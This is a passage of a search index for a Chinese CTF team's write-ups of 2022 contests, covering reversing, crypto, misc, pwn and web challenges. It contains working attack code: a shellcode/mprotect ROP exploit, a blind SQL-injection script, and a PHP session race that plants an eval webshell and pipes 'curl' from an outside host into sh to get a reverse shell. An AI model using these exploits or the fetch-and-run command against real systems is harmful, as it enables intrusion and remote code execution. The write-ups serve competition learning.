\u53ea\u670950\u591a\u4e2a\uff0c\u51c6\u5907\u6328\u4e2a\u90fd\u624b\u641c\u4e00\u4e0b\u540c\u540d\u51fd\u6570\u4e2a\u6570\uff0c\u7ed3\u679c\u7b2c\u4e8c\u4e2a\u5c31\u6b63\u597d\u7b26\u54085\u4e2a \u76f4\u63a5\u628a\u51fd\u6570\u4e00\u4e8c\u4e24\u4e2a\u5b57\u7b26\u4e32\u653e\u5230go\u5728\u7ebf\u73af\u5883https://go.dev/play/ \u4e00\u8dd1\u5c31\u51fa\u6765\u4e86
"},{"location":"Writeup/2022wdbs1/readme/#re694","title":"re694","text":"exeinfo_pe \u67e5\u5230\u662fUPX\uff0c\u4f46\u63d0\u793a\u6587\u4ef6\u88abhack\u4e0d\u80fd\u76f4\u63a5\u8131\uff0cIDA\u6253\u5f00\u63d0\u793aIAT\u70b8\u4e86
010\u6253\u5f00\u53d1\u73b0\u6709FUK01 FUK02\uff0c\u60f3\u5230\u6700\u7b80\u5355\u7684\u4e4b\u524d\u770b\u535a\u5ba2\u8bb2\u9b54\u6539UPX\u7684\u65b9\u6cd5\u5c31\u662f\u628aUPX01\u62b9\u6389\uff0c\u679c\u65ad\u628a\u4e24\u4e2aFUK\u6362\u6210UPX\uff0cexeinfo\u518d\u67e5\u5c31\u63d0\u793a\u80fd\u6b63\u5e38\u8131\u4e86
\u8fd9\u65f6\u5019upx -d\u76f4\u63a5\u89e3\uff0c\u653e\u5230IDA\u91cc\u53d1\u73b0\u770b\u8d77\u6765\u50cfVSStudio debug\u6a21\u5f0f\u7f16\u8bd1\u7684\u7a0b\u5e8f\uff0cshift f12\u627e\u5230\u4e86flag\u6b63\u786e\u7684\u5b57\u7b26\u4e32\uff0c\u5f15\u7528\u8ddf\u5165\u5230\u51fd\u6570\uff0c\u770b\u4e0b\u8c03\u7528\u7684\u5176\u4ed6\u51fd\u6570\u53d1\u73b0\u5927\u81f4\u903b\u8f91\uff1a
\u5b57\u7b26\u4e32\u6bd4\u8f83 4B48791345305C495A7913706D78136F485D6464
add 10
, XOR 0X50
XOR 0X66
\u7136\u540e\u53cd\u7740\u64cd\u4f5c\u4e00\u904d\u5c31\u5f97\u5230\u4e86flag
CyberChief\u914d\u65b9\uff1a
cyberchief/CyberChef_v9.46.0.html#recipe=From_Hex('Auto')XOR(%7B'option':'Hex','string':'50'%7D,'Standard',false)\nSUB(%7B'option':'Hex','string':'A'%7D)ADD(%7B'option':'Hex','string':'A'%7D/disabled)XOR\n(%7B'option':'Hex','string':'66'%7D,'Standard',false)&input=NEI0ODc5MTM0NTMwNUM0OTVBNzkxMzcwNkQ3ODEzNkY0ODVENjQ2NA\n
"},{"location":"Writeup/2022wdbs1/readme/#pwn","title":"PWN","text":""},{"location":"Writeup/2022wdbs1/readme/#pwn349","title":"pwn349","text":"\u6ca1\u70b9\u5f00497\u5c31\u5148\u505a\u4e86\u8fd9\u9898
\u4ee5\u4e3a\u662fblind-pwn\u7136\u540e\u5c31\u4e0a\u53bb\u53bb\u4e00\u901a\u4e71\u6478\uff0c\u8003\u8651\u6709\u4ec0\u4e48\u53ef\u6267\u884c\u7a0b\u5e8f\u80fd\u8bfb\u6587\u4ef6\u5e76\u62a5\u9519\u7684\uff0c\u961f\u91cc\u7684\u5e08\u5085\u627e\u5230\u4e86cc1plus\u7f16\u8bd1\u5e76\u8f93\u51fa\u5230stdout\u53ef\u4ee5\u7206\u51faflag\uff1a
lib/gcc/x86_64-linux-gnu/5/cc1plus -o- flag
lib/gcc/x86_64-linux-gnu/5/cc1plus -o- flag
\u505a\u5b8c349\u70b9\u5f00\u4e00\u770b\u53d1\u73b0\u4e86497\u7684\u9644\u4ef6\uff08\uff1f\uff09\uff0c\u4e8e\u662f\u540c\u6837\u7684payload\u62ff\u5230flag\uff0c\u5927\u6982\u662f349\u975e\u9884\u671f\u4e86\u7f62
\u7b7e\u5230\uff0c\u7b54\u6848\u53ef\u4ee5\u4e3a\u7a7a\uff0c\u53ef\u4ee5\u5355\u4e2a\u7206\u7834\u4e0d\u786e\u5b9a\u7684\u9898\u76ee
"},{"location":"Writeup/2022%E5%B9%BF%E4%B8%9C%E7%9C%81%E8%B5%9B/readme/","title":"2022\u5e7f\u4e1c\u7701\u8d5b","text":"(\u7b2c\u4e8c\u5c4a\u5e7f\u4e1c\u5927\u5b66\u751f\u7f51\u7edc\u5b89\u5168\u653b\u9632\u5927\u8d5b) \u3010HED CTF / COMPASS CTF\u3011 WriteUp Rank:9 \uff08total 504\uff09 Solve:8 Pts:1947
"},{"location":"Writeup/2022%E5%B9%BF%E4%B8%9C%E7%9C%81%E8%B5%9B/readme/#pwn","title":"Pwn","text":""},{"location":"Writeup/2022%E5%B9%BF%E4%B8%9C%E7%9C%81%E8%B5%9B/readme/#pwn-jmp_rsp-235pt","title":"Pwn | jmp_rsp (235pt)","text":"\u5199WP\u65f6\u5019\u53d1\u73b0\u8fdc\u7a0b\u7684bss\u662fRWX\u7684\uff0c\u76f4\u63a5ret2bss\u5c31\u5b8c\u4e86\uff0c\u4e3a\u4ec0\u4e48IDA\u548creadelf\u90fd\u8bf4bss\u662fRW\u7684\u5462\uff1f \u66f4\u60e8\u7684\u662f\uff0c\u8fd9\u9898\u597d\u50cf\u6709jmp rsp\u7684gadget\u3002\u3002\u3002 \u600e\u4e48\u6709\u4e0d\u8bfb\u9898\u5c31\u5f00\u59cb\u9020\u94fe\u5b50\u7684\u4eba\u5462 XD \u53ef\u80fd\u8fd9\u5c31\u662f\u6211\u53d8\u4e0dPWN\u7684\u539f\u56e0\u5427
checksec\u663e\u793a\u6709canary\uff0c\u5176\u4ed6\u4fdd\u62a4\u5168\u65e0\uff0c\u6808\u6bb5RWX IDA\u6253\u5f00\uff0c\u7a0b\u5e8f\u903b\u8f91\u975e\u5e38\u7b80\u5355\uff0c\u5728read\u5904\u4e5f\u65e0canary\uff0c\u4f46\u662f\u770b\u8d77\u6765\u8fd9\u662f\u4e2a\u9759\u6001\u7f16\u8bd1\u7684\u4e8c\u8fdb\u5236\uff0c\u6ca1\u6709\u5f15\u7528\u7684\u5916\u90e8\u51fd\u6570\u3002 \u5148\u60f3\u5230\u7684\u662f\uff1a\u5199bss\u683c\u5f0f\u5316\u5b57\u7b26\u4e32 + printf rop\u6cc4\u9732\u6808\u5730\u5740 + \u6808\u4e0aret2shellcode \u4f46\u662f\u5927\u6982\u662f\u6ca1\u8bbe\u7f6e\u5c0f\u7f13\u51b2\u533a\u7684\u539f\u56e0\uff0c\u7a0b\u5e8f\u76f4\u5230\u9000\u51fa\u624d\u5410\u51fa\u8f93\u51fa\uff0c\u5728\u8fdc\u7a0b\u5c31\u62ff\u4e0d\u5230\u4efb\u4f55\u8f93\u51fa\uff0c\u6240\u4ee5\u8003\u8651\u4e0d\u5229\u7528\u8f93\u51fa\u7684getshell \u8fd9\u9898\u6ca1\u6709libc\u4e5f\u4e0d\u80fdret2dl\uff0c\u4f46\u662f\u6709mprotect\u51fd\u6570\uff0c\u53ef\u4ee5\u6539\u6bb5\u6743\u9650\uff0c\u4e8e\u662f\u6784\u9020\uff1a shellcode\u5199\u5230bss + mprotect\u6539bss\u6743\u9650 + bss\u4e0aret2shellcode
exp:
from pwn import p64\nfrom pwn import *\n\n# context.log_level = \"debug\"\ne = ELF('jmp_rsp')\np = remote(\"47.106.122.102\", 45286)\n# p = e.process()\nread_addr = 0x449380 # elf.sym[\"read\"]\nvul_addr = 0X400b5d\nmprot_addr = 0x44a160\nprintf = 0x40f690\nrdi = 0x401902\nrsi_r15 = 0x401900\nbss_addr = e.bss()\nprint(bss_addr)\np_write_bss = b'a' * 0x88 + p64(rdi) + p64(0) + p64(rsi_r15) + p64(bss_addr) + b'a' * 8 + p64(read_addr) + p64(vul_addr)\np.send(p_write_bss + b'c' * (0x100 - len(p_write_bss)))\nshell_code = \\\n b'jhH\\xb8/bin///sPH\\x89\\xe7hri\\x01\\x01\\x814$\\x01\\x01\\x01\\x011\\xf6Vj\\x08^H\\x01\\xe6VH\\x89\\xe61\\xd2j;X\\x0f\\x05'\np.send(shell_code + b'c' * (0x100 - len(shell_code)))\n\npayload = b'a' * 0x88 + p64(0x4018F5) + p64(vul_addr) + p64(0) + p64(1) + p64(mprot_addr) + p64(7) + p64(0x100000) + p64(0x600000) + p64(bss_addr)\np.send(payload + b'c' * (0x100 - len(payload)))\np.interactive()\n
"},{"location":"Writeup/2022%E5%B9%BF%E4%B8%9C%E7%9C%81%E8%B5%9B/readme/#crypto","title":"Crypto","text":""},{"location":"Writeup/2022%E5%B9%BF%E4%B8%9C%E7%9C%81%E8%B5%9B/readme/#crypto-crypto-xor2-114pt","title":"Crypto | crypto-xor2 (114pt)","text":"\u60f3\u8d77\u4e86HackNat\u91cc\u8fb9\u7684\u4e00\u4e2a\u5267\u60c5\uff1a\u4e00\u4e2a\u4eba\u628a\u4ed6\u7684\u5bc6\u7801\u8bbe\u6210*******\uff0c\u8fd9\u6837\u5982\u679c\u6709\u4e00\u5929\u5bc6\u7801\u88ab\u76d7\u4e86\uff0c\u522b\u4eba\u4e5f\u4f1a\u4ee5\u4e3a\u6ca1\u62ff\u5230\u771f\u6b63\u7684\u5bc6\u7801\u3002 \u961f\u91cc\u5bc6\u7801\u5e08\u5085\u8bf4\u662f\u667a\u5546\u68c0\u6d4b\u9898\uff0c\u5979\u8bf4\u662f\u5c31\u662f\u5427...
\u5f88\u7b80\u5355\u7684\u5f02\u6216\u52a0\u5bc6\uff0c\u679a\u4e3e key \u518d\u5f02\u6216\u56de\u6765\u5373\u53ef\u3002
d = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890-=[]\\\\;',./`~!@#$%^&*()_+{}|:\\\"<>?\"\ne = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_-{}\"\n\nwith open(\"cipher\", \"r\") as f:\n cipher = f.read()\n\nfor o in range(0, len(d)):\n for p in range(0, len(d)):\n for q in range(0, len(d)):\n for r in range(0, len(d)):\n key = d[o] + d[p] + d[q] + d[r]\n flag = \"\"\n f = True\n for i in range(len(cipher)):\n m = ord(cipher[i]) ^ ord(key[i%4])\n flag += chr(m)\n if (e.find(chr(m)) == -1):\n f = False\n break\n if f:\n print(flag, key)\n
flag{fccb0665-bce5-d329-aca7-99179bdc9ed3}
\u6ca1\u60f3\u5230\u8fd9\u4e2a key \u5c31\u662f xxxx
\uff0cflag \u4e5f\u6ca1\u6709 padding\uff0c\u5c0f\u4e11\u7adf\u662f\u6211\u81ea\u5df1\u3002
\u628a\u5185\u5bb9\u62ff\u51fa\u6765\uff0c\u7136\u540e\u7edf\u8ba1\u4e00\u4e0b\uff0c\u518d\u6392\u4e2a\u5e8f\uff0c\u6700\u540e\u63d0\u4ea4\u4e00\u4e0b\u5c31\u884c\u4e86\u3002
import requests\nimport re\n\nRE = re.compile(r'^([a-zA-Z0-9]*)<td>', re.MULTILINE)\n\ndef f(r):\n p = {}\n for c in r:\n if c in p:\n p[c] += 1\n else:\n p[c] = 1\n a = [ (v, k) for (k, v) in p.items() ]\n a = sorted(a)\n return ''.join([ c[1] for c in a ])\n\ns = requests.Session()\nr = s.get('http://120.79.191.238:42399')\n\nwhile True:\n print(r.text)\n m = re.search(RE, r.text)\n a = m.group(1)\n a = f(a)\n\n r = s.post('http://120.79.191.238:42399', data={'ans': a})\n
"},{"location":"Writeup/2022%E5%B9%BF%E4%B8%9C%E7%9C%81%E8%B5%9B/readme/#web-easysql-833pt","title":"Web | easysql (833pt)","text":"\u7ecf\u6d4b\u8bd5\u548c\u89c2\u5bdf\uff0c~~\u4e0d\u96be~~\u53d1\u73b0\u5e7f\u544a\u540d\u662f\u662f\u6709\u6ce8\u5165\u70b9\u7684\uff0c\u53ef\u4ee5\u7528 '||{sql}||'
\u7684\u65b9\u5f0f\u6ce8\u5165\u3002\u7136\u540e\u5e7f\u544a\u63d0\u4ea4\u4e4b\u540e\uff0c\u53ef\u4ee5\u67e5\u770b\u8be6\u60c5\uff0c\u901a\u8fc7\u89c2\u5bdf\u8fd9\u6761\u5e7f\u544a\u662f\u5426\u6b63\u5e38\u663e\u793a\uff0c\u5c31\u53ef\u4ee5\u77e5\u9053 {sql}
\u7684\u6761\u4ef6\u662f\u5426\u4e3a\u771f\u3002\u6240\u4ee5\u53ef\u4ee5\u7528\u76f2\u6ce8\u3002
\u5e76\u4e14\u53ef\u4ee5\u53d1\u73b0\uff0c\u5e7f\u544a\u540d\u662f\u6709\u5173\u952e\u8bcd\u8fc7\u6ee4\u7684\uff0c\u5305\u62ec in
, or
, and
, union
, password
\u7b49\uff0c\u5176\u4e2d and
\u548c or
\u53ef\u4ee5\u7528 &&
\u548c ||
\u7ed5\u8fc7\u3002
\u7136\u540e\u7531\u4e8e\u5c4f\u853d\u4e86 in
\u548c or
\u5bfc\u81f4\u6ca1\u6709\u529e\u6cd5\u901a\u8fc7 information_schema
\u6216 mysql.innodb_table_stats
\u67e5\u8be2\u8868\u540d\u548c\u5217\u540d\uff0c\u4e14 MariaDB \u6ca1\u6709 sys \u5e93\u3002
\u6545\u4f7f\u7528\u4f1f\u5927\u7684\u76f2\u731c\u65b9\u6cd5(\u6307\u731c\u4e86\u597d\u51e0\u4e2a\u5c0f\u65f6)\uff0c\u731c\u51fa\u91cc\u9762\u6709\u4e00\u4e2a ads
\u8868\uff0c\u91cc\u9762\u6709 22 \u5217\uff1b\u4e00\u4e2a users
\u8868\uff0c\u6709 id
, name
\u548c\u611f\u89c9\u6709\u7684 password
\u4e09\u5217\uff08\u4f46\u662f\u5e76\u6ca1\u6709\u4ec0\u4e48\u5375\u7528\uff0c\u56e0\u4e3a admin \u5e10\u53f7\u5565\u90fd\u6ca1\u6709\uff09\u3002
\u7136\u540e\u53c8\u4f7f\u7528\u76f2\u731c\u5927\u6cd5(admin\u7684md5\u641c\u5230\u4e86\u6781\u5176\u76f8\u4f3c\u7684\u9898\u76ee\uff0c\u8003\u8651\u53ef\u80fd\u6709flag\u5b57\u6bb5/\u8868/\u5e93)\uff0c\u627e\u5230\u4e86\u4e00\u4e2a flag
\u8868\uff0c\u7136\u540e\u5728\u672a\u77e5\u5217\u540d\u7684\u60c5\u51b5\u4e0b\uff0c\u7528 SELECT (SELECT * FROM flag) >= (SELECT 1, {string})
\u6765\u76f2\u6ce8\uff0c\u5c31\u53ef\u4ee5\u62ff\u5230\u4e00\u4e2a\u6ca1\u6709\u533a\u5206\u5927\u5c0f\u5199\u7684 flag\u3002
\u5c0f\u5c0f\u7206\u7834\u4e86\u4e00\u4e0bflag\uff0c\u56e0\u4e3a\u592a\u83dc\u4e86\u6ca1\u4e0d\u5230\u5927\u5c0f\u5199\u654f\u611f\u7684\u6ce8\u5165\u67e5\u8be2\u65b9\u6cd5\uff08\u8fc7\u6ee4\u4e86bINary\uff0cMariaDB\u8fd8\u6ca1\u6709json\uff09 \u7136\u540e\u53c8 xjb \u679a\u4e3e\uff0c\u53d1\u73b0 flag \u53ea\u6709 sql
\u7684\u9996\u4f4d\u5927\u5199\uff0c\u5373 flag{Sql_1nj3cti0n_1s_s0_easy}
\uff0c\u63d0\u4ea4\u53ef\u8fc7\u3002
import requests\nimport re\n\ncookies = {'PHPSESSID': '_______________'}\nRE = re.compile(r'detail\\.php\\?id=(\\d+)')\n\ndef clear_list():\n requests.get('http://120.79.141.85:47930/empty.php', cookies=cookies)\n\ndef add_ads(title):\n global aid\n payload = {'title': title, 'content': 'Elaina is best', 'ac': 'add'}\n r = requests.post('http://120.79.141.85:47930/addads.php', cookies=cookies, data=payload)\n aid += 1\n assert '\u5df2\u53d1\u9001\u7533\u8bf7' in r.text, title\n\ndef check_sql(sql):\n global aid\n if aid % 10 == 0:\n clear_list()\n add_ads('1')\n sql = sql.replace(' ', '/**/')\n add_ads(f\"'||{sql}||'\")\n requests.get(f'http://120.79.141.85:47930/index.php', cookies=cookies)\n r = requests.get(f'http://120.79.141.85:47930/detail.php', params={'id': str(aid)}, cookies=cookies)\n return '\u5f85\u7ba1\u7406\u786e\u8ba4' in r.text\n\nclass CharBinarySearch:\n def __init__(self):\n self.l = 0\n self.r = 128\n\n def is_done(self):\n return self.l + 1 >= self.r\n\n def middle(self):\n return (self.l + self.r) // 2\n\n def update(self, r):\n if r:\n self.l = self.middle()\n else:\n self.r = self.middle()\n\ndef main():\n global aid\n aid = 0\n\n clear_list()\n add_ads('1')\n r = requests.post('http://120.79.141.85:47930/index.php', cookies=cookies)\n aid = int(re.search(RE, r.text).group(1))\n print(f'Initial ID: {aid}')\n\n # # \u53ef\u7206\u7834\u51fa\u5217\u6570\n # for i in range(1, 64):\n # s = ','.join([\"''\"] * i)\n # r = check_sql(f\"(SELECT (SELECT {s})<(SELECT * FROM flag LIMIT 1))=true\")\n # print(i, r)\n\n content = ''\n for i in range(len(content) + 1, 128):\n s = CharBinarySearch()\n while not s.is_done():\n # r = check_sql(f\"(SELECT HEX(SUBSTR(database(),{i},1))>=HEX({s.middle()}))\")\n\n p = content + chr(s.middle())\n p = hex(int.from_bytes(p.encode(), 'big'))\n r = check_sql(f\"(SELECT (SELECT * FROM flag) >= (SELECT 1, {p})) = 1\")\n # r = check_sql(f\"((SELECT HEX(SUBSTR(name,{i},1)) FROM users LIMIT 1 OFFSET 0)>=HEX({s.middle()}))\")\n\n print(f'{i} {s.middle()} => {r}')\n s.update(r)\n content += chr(s.l)\n print(content)\n\nif __name__ == '__main__':\n main()\n
"},{"location":"Writeup/2022%E5%B9%BF%E4%B8%9C%E7%9C%81%E8%B5%9B/readme/#web-in-138pt","title":"Web | in (138pt)","text":"\u968f\u4fbf\u70b9\u70b9\uff0c\u53d1\u73b0http://119.23.247.96:45837/action.php?file=2.txt \u53ef\u4ee5\u8bfb\u6587\u4ef6\uff0c\u5c1d\u8bd5\u5305\u542baction.php\u81ea\u8eab\uff0c\u53d1\u73b0\u5361\u987f\u4e14\u65e0\u8fd4\u56de\uff0c\u8bf4\u660e\u5305\u542b\u65b9\u5f0f\u5f88\u53ef\u80fd\u662finclude \u5148\u770b\u4e00\u773c\u670d\u52a1\u5668\u662fapache\uff0c\u4e0d\u80fd\u5305\u542b\u65e5\u5fd7\u62ffshell\uff0c\u4e8e\u662f\u8003\u8651\u770b\u770bPHP\u7684\u6e90\u7801 \u4f2a\u534f\u8bae\u8bfb\u5230\u6e90\u7801http://119.23.247.96:45837/action.php?file=php://filter/convert.base64-encode/resource=action.php \u5f00\u5934\u770b\u5230session_start()\u5927\u6982\u7387\u662fsession\u5305\u542b\uff0c\u5077\u61d2\u76f4\u63a5\u7528session\u7ade\u4e89\u7684\u677f\u5b50\u62ffshell
import io\nimport requests\nimport threading\n\nsessid = 'TGAO'\ndata = {\"cmd\": \"system('curl 106.52.237.196 | sh');\"}\n\n\ndef write(session):\n while True:\n f = io.BytesIO(b'a' * 1024 * 50)\n resp = session.post('http://119.23.247.96:45837/action.php',\n data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST[\"cmd\"]);?>'},\n files={'file': ('tgao.txt', f)}, cookies={'PHPSESSID': sessid})\n\n\ndef read(session):\n while True:\n resp = session.post('http://119.23.247.96:45837/action.php?file=/tmp/sess_' + sessid, data=data)\n if 'tgao.txt' in resp.text:\n print(resp.text)\n event.clear()\n\n\nif __name__ == \"__main__\":\n event = threading.Event()\n with requests.session() as session:\n for i in range(1, 30):\n threading.Thread(target=write, args=(session,)).start()\n for i in range(1, 30):\n threading.Thread(target=read, args=(session,)).start()\n event.set()\n
\u8fd0\u884c\u540e\u7acb\u523b\u5728vps\u4e0a\u6210\u529f\u6536\u5230\u4e86\u53cd\u5f39\u7684shell\uff08\u5e94\u8be5\u4e0d\u7528\u8fd9\u4e48\u66b4\u529b\u4e5f\u80fd\u89e3\uff09
"},{"location":"Writeup/2022%E5%B9%BF%E4%B8%9C%E7%9C%81%E8%B5%9B/readme/#misc","title":"MISC","text":""},{"location":"Writeup/2022%E5%B9%BF%E4%B8%9C%E7%9C%81%E8%B5%9B/readme/#misc-277pt","title":"Misc | \u590d\u5408 (277pt)","text":"\u5957\u5a03\u9898\u3002
\u89c2\u5bdf\u5230\u53ef\u7591 HTTP \u8bf7\u6c42\uff0c\u5bfc\u51fa\u54cd\u5e94\u6587\u4ef6\u3002
\u53d1\u73b0\u6240\u6709\u7684\u6587\u4ef6\u540e\u7f00\u90fd\u4e0d\u7b26\u5408\u771f\u5b9e\u7684\u6587\u4ef6\u7c7b\u578b\uff0c\u9010\u4e00\u4fee\u6539\u6587\u4ef6\u540e\u7f00\u540d\u3002 \u5176\u4e2d md \u6587\u4ef6\u770b\u6587\u4ef6\u5c3e\u80fd\u77e5\u9053\u662f zip\uff0c\u4f46\u662f\u5b83\u7684\u6587\u4ef6\u5934\u574f\u4e86\u3002\u901a\u8fc7\u5bf9\u6bd4\u6b63\u5e38\u7684 zip \u6587\u4ef6\uff0c\u53d1\u73b0\u53ea\u662f\u7f3a\u5c11\u4e86\u6700\u5f00\u59cb\u7684\u4e24\u4e2a bytes\uff0c\u624b\u52a8\u8865\u5168\u5373\u53ef\u3002
\u89e3\u538b\u7f29 pass.zip
\uff0c\u5f97\u5230\u7eaf\u6587\u672c\u6587\u4ef6 Eva
\u3002
\u89c2\u5bdf\u5230\u5927\u91cf\u7684 =E2=80=82
\uff0c\u6709\u70b9\u50cf unicode \u63a7\u5236\u5b57\u7b26\uff0c\u5168\u90e8\u6362\u6210\u7a7a\u683c\u3002\u884c\u5c3e\u7684 =
\u4f3c\u4e4e\u4ee3\u8868\u7740\u6362\u884c\uff0c\u5168\u90e8\u5220\u6389\u3002\u8fd9\u6837\u5c31\u53ef\u4ee5\u5f97\u5230\u5bc6\u6587\u3002
Emklyusg gni bvvymlag tsqic colz jxmoxvl tiwhz ebmee, Zhjeoig Krpvpi-Zgvlyvx Evdr or olv Rbtm bl Gcscckh une fz e tftstrtkdrx rxeb suv olfqx dpb tizh km kliq ox hsjr: mom luyik, kfx dwhrh-wi iympwagp, vru ral qzveomvlm. Aw fgc olrr fhvl nivpkf vhzr vvjjvqlpwagpn jrje pvgu xcijc vhbrmsmmvq bz vbz xj jrsea bukq wyk kxymye xj hvqvyqok xcid. Uav jrorb cfsgn knt oisn uahb vz mn pzix aw ok sgh? Nfh aznorzh zl plagkvi wtgxubvlmx qvbbjqak hvvvq gvb gxc os sc khbvurvp? Wjtn qf rmai zq yhvggwomt.Ygk euu gvyxfm bx vt xci kylr-weoiixvb btxrxeommc hm kbtxzqgmkhzl siymtggl knt xmycw vsivs xci mgkacr uj kekgxukr? Kzzr scyvzr seiexcw-jiek mimkgtaqikw ns xpxhbye migictzmq zlz ticlzcek, tccjgvpiay azvv dttwhypt xzkx-kzvbii, xiybumq zs nivi xmnvimzrtw bu iyr xcmeel, jiek sa trrblvgy tmsdgglvgrc vqflz aprs. Xj wlaa wmeysiw, kfx apbakcx fd kliqorb e emolt zgc nivk t wzblpdkrrx difzi jj kgfl. Eue wkieb avcey vzeuggn iouyo ayym umikv cegnxumq? Zldw hsxzbvur cej zxlv rrslyvlmsg ntwriicw vdrx xci pctya oe xcsjc pow hyi gmkckhbhxi dr dcwpknr iyytympwa. \n
\u5927\u5c0f\u5199\u3001\u5355\u8bcd\u957f\u5ea6\u548c\u6807\u70b9\u7b26\u53f7\u90fd\u975e\u5e38\u50cf\u81ea\u7136\u8bed\u8a00\u3002 e emolt zgc nivk t
\u7684 e
\u548c t
\u5e94\u8be5\u90fd\u662f\u4ee3\u8868 a
\uff0c\u4e5f\u5c31\u662f\u8bf4\u8fd9\u4e0d\u662f\u4e00\u4e00\u5bf9\u5e94\u7684\u7f6e\u6362\u3002\u7528 quipquip \u4e5f\u6ca1\u6709\u8dd1\u51fa\u7ed3\u679c\u3002\uff08\u5bc6\u6587\u662f\u5168\u53ef\u89c1\u5b57\u7b26\uff0c\u6807\u70b9\u6b63\u786e\uff0c\u660e\u6587\u63a8\u6d4b\u4e5f\u662f\u5168\u53ef\u89c1\u5b57\u7b26\uff0c\u4e14\u4e0d\u662f\u5355\u8868\u66ff\u6362\uff0c\u56e0\u6b64\uff09\u51ed\u611f\u89c9\u662f Vigen\u00e8re Encode\uff0c\u4f46\u662f\u4e0d\u77e5\u9053 key \u662f\u4ec0\u4e48\uff0c\u53cd\u6b63\u4e0d\u662f\u6587\u4ef6\u540d Eva
\u3002 \u540e\u6765\u5728 flaggggggg.doc
\u4e2d\u627e\u5230\u4e86\u9690\u85cf\u7684\u767d\u8272\u5c0f\u5b57\uff0cKey:everything
\u3002\u4e8e\u662f\u6b64\u9898\u7ed3\u675f\u3002
Arguably the greatest novel ever written about aging, Gabriel Garcia-Marquez Love in the Time of Cholera may be a challenging text for those who need to read it most: the young, the would-be rational, and the impatient. To say that many health care professionals fall into these categories is not to fault them but merely to describe them. Who being young can know what it is like to be old? Who trained in western scientific medicine dares not try to be rational? Flag is life is fantastic.And who caught up in the task-oriented imperative of contemporary medicine can truly claim the virtue of patience? Even before managed-care initiatives so greatly increased the pressure, physicians were famously time-driven, trained to seek efficiency in all things, care of patients prominently among them. To such persons, the thought of reading a novel may seem a profligate waste of time. Why spend hours reading about what never happened? This question has been eloquently answered over the years by those who use literature in medical education. \n
flag{life_is_fantastic}
\u7b7e\u5230\uff0c\u63d0\u524d\u5173\u6ce8\u4e3b\u529e\u65b9\u516c\u4f17\u53f7\u662f\u597d\u6587\u660e\uff0c\u5149\u901f\u4e00\u8840
"},{"location":"Writeup/2022%E5%B9%BF%E4%B8%9C%E7%9C%81%E8%B5%9B/readme/#reverse","title":"Reverse","text":""},{"location":"Writeup/2022%E5%B9%BF%E4%B8%9C%E7%9C%81%E8%B5%9B/readme/#reverse-pyre-165pt","title":"Reverse | pyre (165pt)","text":"\u4f7f\u7528GitHub\u4e0a\u7684pyinstxtractor.py\u89e3\u5305exe\uff0c\u88ab\u63d0\u9192
[+] Python version: 37\n[!] Warning: This script is running in a different Python version than the one used to build the executable. \n[!] Please run this script in Python37 to prevent extraction errors during unmarshalling \n
\u4e8e\u662f\u66f4\u6362\u5230python3.7\u518d\u6b21\u8fd0\u884c\uff0c\u5f97\u5230\u4e86\u6b63\u5e38\u89e3\u5305\u76841.pyc pycdc\u8fd8\u662f\u4e0d\u5e72\u6d3b\uff0c\u4e8e\u662f\u8bd5\u8bd5\u5728python3.7-3.8\u5de5\u4f5c\u826f\u597d\u7684uncompyle6\u53cd\u7f16\u8bd1\uff0c\u5f97\u5230\u6e05\u6670\u7684\u4ee3\u7801\uff1a
def check():\n a = input('plz input your flag:')\n c = [144, 163, 158, 177, 121, 39, 58, 58, 91, 111, 25, 158, 72, 53, 152, 78, 171, 12, 53, 105, 45, 12, 12, 53, 12, 171, 111, 91, 53, 152, 105, 45, 152, 144, 39, 171, 45, 91, 78, 45, 158, 8]\n if len(a) != 42:\n print('wrong length')\n return 0\n b = 179\n for i in range(len(a)):\n if ord(a[i]) * 33 % b != c[i]:\n print('wrong')\n return\n\n print('win')\n\n\ncheck()\n
\u4eff\u5c04\uff0c\u4f46\u662f\u7b80\u5355\u904d\u5386\u8f93\u5165\u5c31\u80fd\u5f97\u5230\u6b63\u786e\u7684flag\uff1a
c = [144, 163, 158, 177, 121, 39, 58, 58, 91, 111, 25, 158, 72, 53, 152, 78, 171, 12, 53, 105, 45, 12, 12, 53, 12,\n 171, 111, 91, 53, 152, 105, 45, 152, 144, 39, 171, 45, 91, 78, 45, 158, 8]\nfor i in c:\n for a in range(32, 127):\n if a * 33 % 179 == i:\n print(chr(a), end=\"\")\n
"},{"location":"Writeup/2022%E5%BC%BA%E7%BD%91%E6%9D%AF/readme/","title":"\u5f3a\u7f51\u676f2022-HED-WriteUp","text":"Rank: 74 708pts 10Solved HED \u662f\u5357\u65b9\u79d1\u6280\u5927\u5b66COMPASS\u5b9e\u9a8c\u5ba4\u7684CTF\u6218\u961f
\u89e3\u9898\u60c5\u51b5\uff08\u5168\u90e810\u9898\uff09\uff1a
\u7b7e\u5230
"},{"location":"Writeup/2022%E5%BC%BA%E7%BD%91%E6%9D%AF/readme/#-misc-27","title":"\u95ee\u5377\u8c03\u67e5-Misc-27","text":"\u95ee\u5377
"},{"location":"Writeup/2022%E5%BC%BA%E7%BD%91%E6%9D%AF/readme/#-misc-271","title":"\u8c0d\u5f71\u91cd\u91cd\uff08\u4e8c\u8840\uff09-Misc-271","text":"\u9996\u5148\u770b config.json
\u7684\u5185\u5bb9\uff0c\u53d1\u73b0\u5f88\u50cf v2ray \u7684\u914d\u7f6e\u6587\u4ef6\uff0c\u4e8e\u662f\u624b\u6413 VMess \u534f\u8bae\u3002\u8fd9\u90e8\u5206\u6ca1\u5565\u597d\u8bf4\u7684\uff0c\u5c31\u770b\u89c4\u8303\u548c\u4ee3\u7801\u76f4\u63a5\u5bf9\u7740\u5b9e\u73b0\u4e00\u904d\uff0c\u786e\u5b9e\u786c\u6838\u3002
